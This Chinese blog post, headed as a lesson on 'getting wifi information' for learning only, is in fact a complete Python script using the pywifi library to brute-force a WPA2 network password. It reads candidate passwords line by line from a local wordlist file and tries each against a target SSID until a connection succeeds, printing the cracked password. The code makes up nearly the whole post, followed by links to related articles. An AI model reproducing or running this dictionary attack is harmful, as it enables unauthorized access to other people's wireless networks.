获取wifi信息(仅供学习使用,勿作他用)

简介: 获取wifi信息(仅供学习使用,勿作他用)

上一篇文章我们讲解学习了密码字典生成,下面我们来看一下如何获取wifi信息,具体代码如下:

# _*_ coding : UTF-8 _*_# 开发人员:快乐的洋仔
# 开发时间:  2020/4/17 21:01
# 文件名称: pojieWifi.PY
# 开发工具: PyCharm
# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime


def wifiConnect(pwd):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        # 你想要破解wifi名称
        profile.ssid = "iphone"
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        ifaces.remove_all_network_profiles()
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")

    # 读取密码本
def readPwd():

    print("哈哈,我们开始破解了哦:")
    # 密码本路径
    path = "E:\pwd.txt"
    # 打开文件
    file = open(path, "r")
    while True:
        try:
            # 一行一行读取
            pwd = file.readline()
            success = wifiConnect(pwd)

            if success:
                print("密码被你完美破解: ", pwd)
                break
            else:
                # 跳出当前循环,进行下一次循环
                print("密码破解中....密码校对信息为: ", pwd)
        except:
            continue
readPwd()
目录
相关文章
|
5月前
|
Android开发 网络架构
【Android App】检查手机连接WiFi信息以及扫描周围WiFi的讲解及实战(附源码和演示 超详细必看)
【Android App】检查手机连接WiFi信息以及扫描周围WiFi的讲解及实战(附源码和演示 超详细必看)
227 1
|
8月前
|
Android开发
Android获取已连接wifi的热点信息(上位机开发学习之多个界面切换编程)
Android获取已连接wifi的热点信息(上位机开发学习之多个界面切换编程)
190 0
|
8月前
|
物联网 Android开发
Android获取已连接wifi的热点信息
Android获取已连接wifi的热点信息
189 0
|
11月前
|
Java 开发工具 Android开发
安卓实战开发之——使用 WIFI 进行设备搜索并获取相应信息
实现使用 WIFI 进行连接设备搜索并获取相应信息的功能案例
152 0
|
Java Android开发
Android11.0(R) 预置 wifi 信息自动连接
Android11.0(R) 预置 wifi 信息自动连接
341 0
|
BI 数据处理 网络架构
根据用户采集的WiFi信息采用决策树预测用户所在房间
根据用户采集的WiFi信息采用决策树预测用户所在房间
155 0
根据用户采集的WiFi信息采用决策树预测用户所在房间
|
缓存 Shell Android开发
Android ADB命令大全(通过ADB命令查看wifi密码、MAC地址、设备信息、操作文件、查看文件、日志信息、卸载、启动和安装APK等)
ADB很强大,记住一些ADB命令有助于提高工作效率。 获取序列号: adb get-serialno 查看连接计算机的设备: adb devices 重启机器: adb reboot 重启到bootloader,即刷机模式: adb reboot bootloader 重启到re...
8340 0
|
安全
InterApp宣称能从任何手机上盗取信息 只需打开Wifi即可
本文讲的是 InterApp宣称能从任何手机上盗取信息 只需打开Wifi即可,智能手机如今面临的最大隐私和安全挑战之一,就是那些我们选择安装的应用。
1308 0
|
安全 数据安全/隐私保护 网络架构